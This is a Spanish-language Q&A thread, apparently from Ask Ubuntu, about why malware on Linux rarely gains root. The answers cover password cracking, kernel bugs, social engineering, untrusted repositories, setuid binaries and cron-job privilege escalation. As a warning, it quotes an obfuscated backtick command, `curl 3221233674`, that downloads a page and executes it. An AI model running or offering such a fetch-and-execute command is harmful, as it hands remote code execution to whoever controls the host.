Entiendo que si algún malware llega a un sistema Linux, a lo sumo, obtendrá un privilegio de nivel de usuario y arruinará cualquier cosa al alcance del usuario en particular, es decir, sus propios archivos.
Pero, ¿qué impide exactamente que los malwares obtengan acceso a nivel raíz? ¿No puede de alguna manera descifrar la contraseña desde dentro?
Respuestas:
Esta es una pregunta compleja. Hay muchas capas diferentes de seguridad en un sistema Ubuntu, desde marcos complejos como AppArmor hasta humildes variables del núcleo como
mmap_min_addr
. Puede agregar algunas características del kernel como la aleatorización de memoria en la mezcla. Puede encontrar una lista de ellos junto con explicaciones rápidas en Ubuntu Wiki .Otro factor importante es que las actualizaciones son rápidas y fáciles, por lo que la mayoría de las computadoras se actualizarán con las últimas correcciones de seguridad.
Hasta donde sé, un atacante que ha obtenido acceso local a su computadora tiene tres formas de escalar los privilegios del núcleo:
Rompe la contraseña. Pero esto va a ser realmente difícil, la contraseña se almacena encriptada, utilizando algoritmos sin defecto conocido. Tomará años descifrarlo.
Error en el kernel. Pero todas las características de seguridad del kernel se interpondrán en el camino.
Engaña al usuario para que revele la contraseña, es decir, ingeniería social. Simplemente muestre un diálogo de contraseña falsa o use algún otro truco. Esta es la forma más fácil de hacerlo.
El tercer punto es la vulnerabilidad más débil en este momento.
fuente
sudoers
.No es posible descifrar la contraseña de root, ya que Ubuntu deshabilitó al usuario root de forma predeterminada. Sin embargo, si su usuario puede convertirse en root a través de sudo y su contraseña es fácil de adivinar / fuerza bruta, tiene un sistema inseguro. Script de ejemplo que intenta probar alguna contraseña:
Agregar un repositorio no confiable permite la instalación de programas de ese repositorio. Incluso si no instala explícitamente una aplicación como
sudo apt-get install [app-from-repo]
, el repositorio aún puede afectar a otros programas al hacer que Ubuntu crea que el repositorio contiene una versión más nueva de un determinado programa.El proceso de actualización se ejecuta como root; de lo contrario, los archivos no se podrían escribir en
/usr/bin
o/etc
. Un disparador de instalación también se ejecuta como root y puede ejecutarse de manera arbitraria, y posiblemente, comandos dañinos. Ahora, no se preocupe, se necesita una acción manual para actualizar los programas y los repositorios de Ubuntu son seguros. El software de código cerrado como Windows nunca puede ser completamente confiable porque no puede verificar el código fuente malicioso, pero puede revisar el código fuente de la aplicación Ubuntu si lo necesita (no se aplica a programas propietarios comosun-java6
Flash).Como mencionó Javier Rivera, los errores del kernel pueden conducir a la ejecución de código arbitrario, pero el software con errores también es posiblemente peligroso, especialmente
setsuid
los binarios raíz con errores (binarios que se ejecutarán bajo el propietario del archivo, raíz) y otros programas con errores que se ejecutan como raíz.Puede crear agujeros de seguridad en su sistema si no presta atención a lo que está haciendo. Por ejemplo, sin comprender completamente el concepto de cronjobs, ha agregado un cronjob al
/etc/cron.daily
que se ejecuta un programa en su carpeta de inicio (por ejemplo,/bin/sh /home/your-username/myscript.sh
si el archivo myscript.sh es editable por usted, puede eliminarlo, un exploit podría generar malware código en elmyscript.sh
que se ejecutaría como root (escalada de privilegios).Para mantenerse a salvo, use su mente! No ejecute comandos de fuentes no confiables si no sabe lo que hace. Si alguien le dice que corra
`curl 3221233674`
con tic-tac, no lo haga. 3221233674 es otra forma de escribir192.0.32.10
(IP de example.com). Entonces, sería igual a:Esos ticks de retroceso hacen que la salida se ejecute como comandos de shell. En inglés simple, "Descargue la página http://example.com/ e intente ejecutar la página descargada".
Al principio, no verías algo malicioso en el comando dado. Pero ahora, sabes que también se puede abusar de él.
Siempre revise los comandos / guiones que obtiene de fuentes no confiables, como Internet.
fuente